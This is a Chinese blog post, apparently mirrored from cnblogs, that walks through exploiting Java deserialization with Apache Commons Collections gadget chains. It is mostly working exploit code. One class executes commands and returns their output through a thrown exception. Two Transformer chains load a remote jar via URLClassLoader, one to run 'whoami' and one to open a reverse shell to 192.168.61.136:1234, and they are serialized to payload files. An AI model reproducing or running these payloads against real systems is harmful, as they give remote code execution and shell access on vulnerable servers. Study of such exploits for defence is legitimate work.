zoukankan      html  css  js  c++  java
  • 反序列化报错回显、反弹shell

    • 使用java.net.URLClassLoader类,远程加载自定义类(放在自己服务器上的jar包),可以自定义方法执行。
    • 在自定义类中,抛出异常,使其成功随着Jboss报错返回命令执行结果。

    首先得通过代码执行将ErrorBaseExec写到服务器上。

    package me.lightless.shiro;
    
    import java.io.BufferedReader;
    import java.io.InputStreamReader;
    
    public class ErrorBaseExec {
    
        public static void do_exec(String args) throws Exception
        {
            Process proc = Runtime.getRuntime().exec(args);
            BufferedReader br = new BufferedReader(new InputStreamReader(proc.getInputStream()));
            StringBuffer sb = new StringBuffer();
            String line;
            while ((line = br.readLine()) != null)
            {
                sb.append(line).append("
    ");
            }
            String result = sb.toString();
            Exception e=new Exception(result);
            throw e;
        }
    }
    

    第二步本地将ErrorBaseExec打jar包,并把jar包放到服务器上

    javac ErrorBaseExec.java //先编译成class文件
    jar -cvf ErrorBaseExec.jar ErrorBaseExec.class //打成jar包
    

    运行如下代码:

    package me.lightless.shiro;
    
    import org.apache.commons.collections.Transformer;
    import org.apache.commons.collections.functors.ChainedTransformer;
    import org.apache.commons.collections.functors.ConstantTransformer;
    import org.apache.commons.collections.functors.InvokerTransformer;
    import org.apache.commons.collections.keyvalue.TiedMapEntry;
    import org.apache.commons.collections.map.LazyMap;
    
    import javax.management.BadAttributeValueExpException;
    import java.io.*;
    import java.lang.reflect.Field;
    import java.net.MalformedURLException;
    import java.util.HashMap;
    import java.util.Map;
    
    public class Test {
        public static void main(String[] args) throws IllegalAccessException, IOException, NoSuchFieldException, ClassNotFoundException {
            Transformer[] transformers = new Transformer[0];
            try {
                transformers = new Transformer[] {
                        new ConstantTransformer(java.net.URLClassLoader.class),
                        new InvokerTransformer(
                                "getConstructor",
                                new Class[] {Class[].class},
                                new Object[] {new Class[]{java.net.URL[].class}}
                        ),
                        new InvokerTransformer(
                                "newInstance",
                                new Class[] {Object[].class},
                                new Object[] { new Object[] { new java.net.URL[] { new java.net.URL("http://127.0.0.1/ErrorBaseExec.jar") }}}
                        ),
                        new InvokerTransformer(
                                "loadClass",
                                new Class[] { String.class },
                                new Object[] { "me.lightless.shiro.ErrorBaseExec" }
                        ),
                        new InvokerTransformer(
                                "getMethod",
                                new Class[]{String.class, Class[].class},
                                new Object[]{"do_exec", new Class[]{String.class}}
                        ),
                        new InvokerTransformer(
                                "invoke",
                                new Class[]{Object.class, Object[].class},
                                new Object[]{null, new String[]{"whoami"}}
                        )
                };
            } catch (MalformedURLException e) {
                e.printStackTrace();
            }
       /*
            URLClassLoader.class.getConstructor(java.net.URL[].class).
                    newInstance(new java.net.URL("url")).loadClass("remote_class").
                    getMethod("do_exec", String.class).invoke(null, "cmd");
             */
            Transformer transformerChain = new ChainedTransformer(transformers);
    
            Map innerMap = new HashMap();
            Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
            //decorate实例化LazyMap类。
            // LazyMap類的get方法調用了transform,transform可以通過反射机制执行命令
            TiedMapEntry entry = new TiedMapEntry(lazyMap, "foo");  //TiedMapEntry中调用了toString方法->调用了map的get方法
            BadAttributeValueExpException poc = new BadAttributeValueExpException(null); //BadAttributeValueExpException的构造方法调用toString方法
    
    //         val是私有变量,所以利用下面方法进行赋值,val变量赋值为TiedMapEntry的实例化对象,
    //         重写了BadAttributeValueExpException的readObject方法的val变量赋值为BadAttributeValueExpException类,
    //         就会调用BadAttributeValueExpException的val = valObj.toString();触发上面的
            Field valfield = poc.getClass().getDeclaredField("val");
    //        System.out.println(valfield);
            valfield.setAccessible(true);
            valfield.set(poc, entry);
    
            File f = new File("poc.txt");
            ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
            out.writeObject(poc);
            out.close();
    
            //从文件中反序列化obj对象
            FileInputStream fis = new FileInputStream("poc.txt");
            ObjectInputStream ois = new ObjectInputStream(fis);
            //恢复对象
            ois.readObject();
            ois.close();
        }
    }
    

    通过异常,出现回显,在利用的时候,找一个pop gaget writeObject,传到服务器进行反序列化。
    Alt text
    明显上面利用方式比较复杂,还需要将jar或者class文件上传到服务器,这时候我们可以利用defineClass加载byte[]返回Class对象,不用上传文件到服务器。
    具体可以参考这篇文章:https://www.freebuf.com/articles/others-articles/167932.html
    通过加载远程jar包反弹shell payload:

    package ysoserial.payloads;
    
    import java.io.*;
    import java.lang.annotation.Retention;
    import java.lang.reflect.Constructor;
    import java.lang.reflect.Field;
    import java.lang.reflect.InvocationHandler;
    import java.lang.reflect.Proxy;
    import java.util.HashMap;
    import java.util.Map;
    import org.apache.commons.collections.Transformer;
    import org.apache.commons.collections.functors.ChainedTransformer;
    import org.apache.commons.collections.functors.ConstantTransformer;
    import org.apache.commons.collections.functors.InvokerTransformer;
    import org.apache.commons.collections.map.LazyMap;
    public class CommonsCollectionsjar{
        public InvocationHandler getObject(final String ip) throws Exception {
            // inert chain for setup
            final Transformer transformerChain = new ChainedTransformer(
                new Transformer[] { new ConstantTransformer(1) });
            // real chain for after setup
            final Transformer[] transformers = new Transformer[] {
                new ConstantTransformer(java.net.URLClassLoader.class),
                // getConstructor class.class classname
                new InvokerTransformer("getConstructor",
                    new Class[] { Class[].class },
                    new Object[] { new Class[] { java.net.URL[].class } }),
                // newinstance string http://www.iswin.org/attach/iswin.jar
                new InvokerTransformer(
                    "newInstance",
                    new Class[] { Object[].class },
                    new Object[] { new Object[] { new java.net.URL[] { new java.net.URL(
                        "http://192.168.61.136/iswin.jar") } } }),
                // loadClass String.class R
                new InvokerTransformer("loadClass",
                    new Class[] { String.class }, new Object[] { "R" }),
                // set the target reverse ip and port
                new InvokerTransformer("getConstructor",
                    new Class[] { Class[].class },
                    new Object[] { new Class[] { String.class } }),
                // invoke
                new InvokerTransformer("newInstance",
                    new Class[] { Object[].class },
                    new Object[] { new String[] { ip } }),
                new ConstantTransformer(1) };
            final Map innerMap = new HashMap();
            final Map lazyMap = LazyMap.decorate(innerMap, transformerChain);
            //this will generate a AnnotationInvocationHandler(Override.class,lazymap) invocationhandler
            InvocationHandler invo = (InvocationHandler) getFirstCtor(
                "sun.reflect.annotation.AnnotationInvocationHandler")
                .newInstance(Retention.class, lazyMap);
            //generate object which implements specifiy interface
            final Map mapProxy = Map.class.cast(Proxy.newProxyInstance(this
                .getClass().getClassLoader(), new Class[] { Map.class }, invo));
    
            final InvocationHandler handler = (InvocationHandler) getFirstCtor(
                "sun.reflect.annotation.AnnotationInvocationHandler")
                .newInstance(Retention.class, mapProxy);
            setFieldValue(transformerChain, "iTransformers", transformers);
            return handler;
        }
        public static Constructor<?> getFirstCtor(final String name)
            throws Exception {
            final Constructor<?> ctor = Class.forName(name)
                .getDeclaredConstructors()[0];
            ctor.setAccessible(true);
            return ctor;
        }
        public static Field getField(final Class<?> clazz, final String fieldName)
            throws Exception {
            Field field = clazz.getDeclaredField(fieldName);
            if (field == null && clazz.getSuperclass() != null) {
                field = getField(clazz.getSuperclass(), fieldName);
            }
            field.setAccessible(true);
            return field;
        }
        public static void setFieldValue(final Object obj, final String fieldName,
                                         final Object value) throws Exception {
            final Field field = getField(obj.getClass(), fieldName);
            field.set(obj, value);
        }
        public static void main(final String[] args) throws Exception {
            final Object objBefore = CommonsCollectionsjar.class.newInstance()
                .getObject("192.168.61.136:1234");
            //deserialize(serialize(objBefore));
    
            File f = new File("E:\Struts2-Vulenv-master\ysoserial\src\main\java\ysoserial\payloads\payloadsfinal.bin");
            ObjectOutputStream out = new ObjectOutputStream(new FileOutputStream(f));
            out.writeObject(objBefore);
            out.flush();
            out.close();
    
            FileInputStream fis = new FileInputStream("E:\Struts2-Vulenv-master\ysoserial\src\main\java\ysoserial\payloads\payloadsfinal.bin");
            ObjectInputStream ois = new ObjectInputStream(fis);
            //恢复对象
            ois.readObject();
            ois.close();
        }
    }
    
    

    参考链接:
    http://blog.nsfocus.net/java-deserialization-vulnerability-comments/
    https://www.iswin.org/2015/11/13/Apache-CommonsCollections-Deserialized-Vulnerability/

  • 相关阅读:
    单向循环列表(Java实现)
    单链表的实现(Java实现)
    二分查找法(Java实现)
    六大排序算法(Java实现)
    学习python第十天
    学习python第九天
    MapNode
    AtomicReference
    AtomicStampedReference
    尾递归(TailRecursion)
  • 原文地址:https://www.cnblogs.com/afanti/p/10222280.html
Copyright © 2011-2022 走看看